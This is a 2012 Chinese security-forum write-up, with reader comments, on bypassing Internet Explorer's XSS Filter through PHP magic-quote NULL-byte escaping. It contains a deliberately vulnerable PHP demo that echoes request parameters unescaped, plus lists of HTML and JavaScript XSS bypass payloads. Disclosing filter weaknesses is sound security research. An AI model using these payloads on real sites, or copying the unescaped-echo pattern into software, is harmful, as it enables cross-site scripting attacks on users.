当前位置:WooYun(白帽子技术社区) >> 浏览器安全 >> PHP魔术引号导致IE XSS Filter bypass

PHP魔术引号导致IE XSS Filter bypass

Sogili (.) 长短短 (.) | 2012-10-14 19:29

作者/Sogili(@jackmasa)
首发/Insight-labs.org

在一些web容器中会对一些特殊字符做转换处理,这中间ie xss filter开发人员任何地方对它的了解有疏忽,都很可能导致bypass.

在php中,如果开启了”魔术引号”特性(magic_quotes_gpc = On),则‘ (single-quote), “ (double quote), \ (backslash) 和 NULL 字符将都会被反斜杠转义(%00 =>\0).

通过一些测试,我发现ie xss filter对NULL字符的转义处理并不感冒,意思是它并不了解这种转换过程.

1. xss.php demo source code:

<?php echo $_GET['x']?>
<script type="text/javascript">
var x="<?php echo $_GET['z']?>"
</script>


2. HTML bypass case:
<script>alert(1)</script>  
<script/%00%00%00%00%00>alert(1)</script>  
%00%00v%00%00<script>alert(1)</script>  
<script/%00%00v%00%00>alert(1)</script>

tips:
1. 绕过字符必须出现在拦截规则中,例如拦截<script>就可以是<script [here]>.

3. Javascript bypass case:

“;alert(1)//  
%c0″;alert(%00)//  
%c0″;//(%0dalert(1)//  
%c0″;//(%0dalert(1)//  
%c0″;//(%00%0dalert(1)//  
%c0″//(%000000%0dalert(1)//

tips:
1. 需要通过多字节问题吃掉一个\.
2. //(%000000%0d是用于绕过函数调用的拦截规则.

如果你有更多的想法或者小技巧,欢迎与我联系交流@jackmasa

原文:http://insight-labs.org/?p=499

分享到:
  1. 1#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-10-14 19:38

    这个不错!

  2. 2#
    回复此人 感谢
    p.z (谈钞票伤感情 谈感情又伤钞票又伤感情) | 2012-10-14 23:20

    这么好的内容怎么没人顶

  3. 3#
    回复此人 感谢
    云中鹰 | 2012-10-14 23:47

    这属于0day级思路了,真心不错!

  4. 4#
    回复此人 感谢
    GaRY | 2012-10-15 10:45

    可惜5.4之后就没有magic_qoute_gpc了

  5. 5#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2012-10-15 10:52

    @GaRY 用addslashes转义的同样可以 :)

  6. 6#
    回复此人 感谢
    insight-labs (Root Yourself in Success) | 2012-10-15 22:31

    頂:D

  7. 7#
    回复此人 感谢
    Zvall (safeKey team - 电击小子) | 2012-10-21 02:59

    思路不错!

    老外也有一文章

    Internet Explorer 9 XSS Filter Bypass

  8. 8#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2012-10-21 08:34

    @Zvall 有测试?据说不行.

  9. 9#
    回复此人 感谢
    lxsec (我的头像灰了!) | 2012-10-30 17:35

    IE8 测试没过

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录

其它内容

  • 暂无